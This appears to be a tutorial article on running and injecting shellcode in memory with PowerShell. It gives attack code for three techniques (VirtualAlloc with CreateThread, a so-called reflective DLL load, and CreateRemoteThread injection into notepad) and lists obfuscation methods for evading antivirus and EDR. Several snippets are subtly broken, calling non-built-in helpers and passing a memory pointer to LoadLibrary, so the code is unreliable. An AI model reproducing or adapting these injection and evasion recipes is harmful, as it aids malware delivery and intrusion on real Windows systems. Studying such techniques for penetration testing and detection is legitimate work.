Introduction

Shell code is a small piece of code, often written in assembly, used to exploit vulnerabilities or load payloads during penetration testing or attacks. It plays a critical role in delivering malicious code to a target system. PowerShell, with its robust scripting capabilities, provides a versatile tool for both system administrators and attackers. This article explores various techniques for shellcode execution and injection using PowerShell, with clear explanations and examples.

Key Concepts

  • Shellcode: Custom binary code executed during exploitation, commonly delivered as hexadecimal or byte arrays.
  • PowerShell: A command-line shell and scripting language used for automation and administration on Windows systems.
  • Injection: The process of inserting code into the memory space of an existing process for stealthy execution.

ย 

Why PowerShell for Shellcode Execution?

PowerShell is an attractive tool for red teamers and attackers due to the following reasons:

  1. Native to Windows: PowerShell is pre-installed on most modern Windows systems.
  2. In-Memory Execution: PowerShell allows execution of code directly in memory, avoiding the need to write files to disk.
  3. Obfuscation: PowerShell scripts can be obfuscated to bypass antivirus (AV) and endpoint detection systems (EDR).

Shellcode Execution Techniques

Below are some common PowerShell techniques for executing shellcode in memory:

1. Direct Shellcode Execution Using VirtualAlloc and CreateThread

In this method, shellcode is allocated in memory using VirtualAlloc, and a new thread is created to execute the shellcode using CreateThread

Example:

# Shellcode as a byte array (e.g., calc.exe payload)
[Byte[]]$Shellcode = [System.Convert]::FromBase64String(“<YOUR_SHELLCODE_HERE>”)

# Get required functions from kernel32.dll
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-ProcAddress kernel32.dll VirtualAlloc))
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-ProcAddress kernel32.dll CreateThread))

# Allocate memory
$Pointer = $VirtualAlloc.Invoke(0, $Shellcode.Length, 0x1000, 0x40) # MEM_COMMIT, PAGE_EXECUTE_READWRITE

# Copy shellcode to memory
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)

# Execute shellcode
$Thread = $CreateThread.Invoke(0, 0, $Pointer, 0, 0, 0)

# Wait for the thread to finish
[System.Threading.Thread]::Sleep(-1)

Explanation:

  1. VirtualAlloc: Allocates executable memory with MEM_COMMIT and PAGE_EXECUTE_READWRITE permissions.
  2. Copy Shellcode: The shellcode byte array is copied into the allocated memory.
  3. CreateThread: Executes the shellcode as a new thread.

2. Reflective DLL Injection Using PowerShell

Example:

This technique involves loading shellcode embedded in a DLL file directly into memory using PowerShell, without writing the DLL to disk.

# Load shellcode (base64 encoded DLL shellcode)
[Byte[]]$Shellcode = [System.Convert]::FromBase64String(“<YOUR_DLL_SHELLCODE>”)

# Define a delegate to invoke LoadLibrary
$LoadLibrary = Add-Type -MemberDefinition @’
[DllImport(“kernel32.dll”)]
public static extern IntPtr LoadLibrary(string lpFileName);
‘@ -Name “Kernel32” -Namespace “WinAPI” -PassThru

# Allocate memory for shellcode
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-ProcAddress kernel32.dll VirtualAlloc))
$Pointer = $VirtualAlloc.Invoke(0, $Shellcode.Length, 0x1000, 0x40)

# Copy shellcode
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)

# Reflectively load DLL
$LibraryHandle = $LoadLibrary::LoadLibrary($Pointer)

# Check result
if ($LibraryHandle -ne 0) {
Write-Output “DLL successfully loaded into memory.”
} else {
Write-Output “Failed to load DLL.”
}

3. Process Injection Using CreateRemoteThread

Process injection is a stealthy technique where shellcode is injected into the memory space of another process (e.g., notepad.exe) and executed.

# Target process name
$ProcessName = “notepad”

# Shellcode (base64 encoded)
[Byte[]]$Shellcode = [System.Convert]::FromBase64String(“<YOUR_SHELLCODE_HERE>”)

# Get target process
$Process = Get-Process -Name $ProcessName | Select-Object -First 1
$ProcessHandle = $Process.Handle

# Allocate memory in target process
$VirtualAllocEx = Add-Type -MemberDefinition @’
[DllImport(“kernel32.dll”)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
‘@ -Name “Kernel32” -Namespace “WinAPI” -PassThru

$RemoteMemory = $VirtualAllocEx::VirtualAllocEx($ProcessHandle, 0, $Shellcode.Length, 0x1000, 0x40)

# Write shellcode to target process
Write-ProcessMemory $ProcessHandle $RemoteMemory $Shellcode

# Create remote thread
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-ProcAddress kernel32.dll CreateRemoteThread))
$Thread = $CreateRemoteThread.Invoke($ProcessHandle, 0, 0, $RemoteMemory, 0, 0, 0)

Explanation:

  1. VirtualAllocEx: Allocates memory in the remote process.
  2. WriteProcessMemory: Writes shellcode into the remote process’s memory.
  3. CreateRemoteThread: Executes the shellcode in the target process.

Obfuscation Techniques

PowerShell scripts often require obfuscation to evade AV/EDR. Some techniques include:

  1. Base64 Encoding: Encode the shellcode as a Base64 string.
  2. Splitting Strings: Break the script into chunks to make detection harder.
  3. Compression: Use Gzip compression for the script payload.
  4. Dynamic Assembly Loading: Load PowerShell commands dynamically using reflection.

ย